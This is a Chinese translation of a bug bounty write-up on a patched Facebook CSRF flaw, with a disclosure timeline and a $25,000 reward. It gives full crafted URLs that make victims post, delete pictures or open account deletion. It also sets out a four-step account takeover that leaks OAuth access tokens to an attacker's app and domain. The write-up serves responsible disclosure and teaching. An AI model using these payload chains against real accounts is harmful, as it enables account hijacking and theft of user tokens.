前言

此漏洞允许攻击者利用CSRF令牌向Facebook上的任意端点发送请求，从而导致受害者帐户接管。为了使此攻击有效，攻击者必须诱使目标单击某个链接。

示范

这是因为有一个易受攻击的端点，它获取攻击者选择的另一个给定的Facebook端点以及参数，并在添加fb_dtsg参数后向该端点发出POST请求。给定的端点位于主域www.facebook.com下，这使得攻击者更容易欺骗受害者访问URL。

易受攻击的端点：

https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX

其中XXXX带有将在其中发出POST请求的参数的端点(CSRF令牌fb_dtsg将自动添加到请求主体)。

如果受害者访问此URL，我们可以采取许多措施。

Make a post on timeline:

https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}

删除个人资料（Delete Profile Picture）：

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}

欺骗用户删除其帐户(在使用“locale”参数更改语言后)

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR

帐户接管方法

要接管帐户，我必须向受害者帐户添加一个新的电子邮件地址或电话号码。这里的问题是，受害者必须访问两个单独的URL，一个用于添加电子邮件/电话，另一个用于确认，因为用于添加电子邮件或电话号码的“普通”端点没有“next”参数来在请求成功后重定向用户。
因此，为了绕过这一点，我需要找到出现“next”参数的端点，从而可以使用单个URL进行帐户接管。
1.我们将攻击者应用程序授权为用户，然后我们重定向到https://www.facebook.com/v3.2/dialog/oauth——它将自动重定向到攻击者网站，其中access_token具有允许该应用程序使用的作用域(这是在没有用户交互的情况下发生的，因为应用程序已经使用端点/ajax/appcenter/redirect_to_app进行了授权)。
此URL应发送给用户：

https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog

此步骤适用于多种情况：
首先使用端点/v3.2/dialog/oauth绕过“next”参数中的Facebook重定向保护，该参数会阻止对外部网站的重定向尝试，即使这些尝试是使用linkshim完成的。
其次，使用接收到的令牌来识别每个受害者，这将有助于稍后提取该特定用户的确认码。
2.攻击者网站接收用户的访问令牌，在该域下为用户创建一封电子邮件，然后将用户重定向到：

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=
/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]

此URL执行以下操作：
首先，它使用端点/ add_contactpoint / dialog / submit /将电子邮件链接到用户帐户（不需要密码确认）。
链接后，它将重定向到“next”参数中的选定端点：

"/v3.2/dialog/oauth?response_type=token&client_id={ATTACKER_APP}&redirect_uri={ATTACKER_DOMAIN}"

它将使用用户access_token再次重定向到“ATTACKER_DOMAIN”。
3.攻击者网站接收access_Token，提取用户ID，然后搜索收到的该用户的电子邮件，获取确认链接，然后再次重定向到：

https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH}

（CODE和HASH在收到的Facebook电子邮件中）
对于攻击者来说，此方法更简单，但在链接后，端点会将受害者重定向到

https://www.facebook.com/settings?section=email

这会显示新添加的电子邮件，因此可以使用/confirm_code/dialog/submit/端点完成确认，该端点有一个“next”参数，可以在确认完成后将受害者重定向到主页。
4.电子邮件现在已添加到受害者帐户，攻击者可以重置密码并接管该帐户。
这个攻击看起来很长，但在转瞬之间就完成了，这个攻击的危险之处就在于它不针对某一特点用户，而是只要你点击了步骤1中的链接，你就会掉进了陷阱。

时间线

2018年1月26日——发送报告
2018年1月26日——facebook确定bug
2018年1月28日——发送更多详细信息
2018年1月31日——facebook完成修复
2018年2月12日——facebook奖励$25,000赏金

翻译文章：https://ysamm.com/?p=185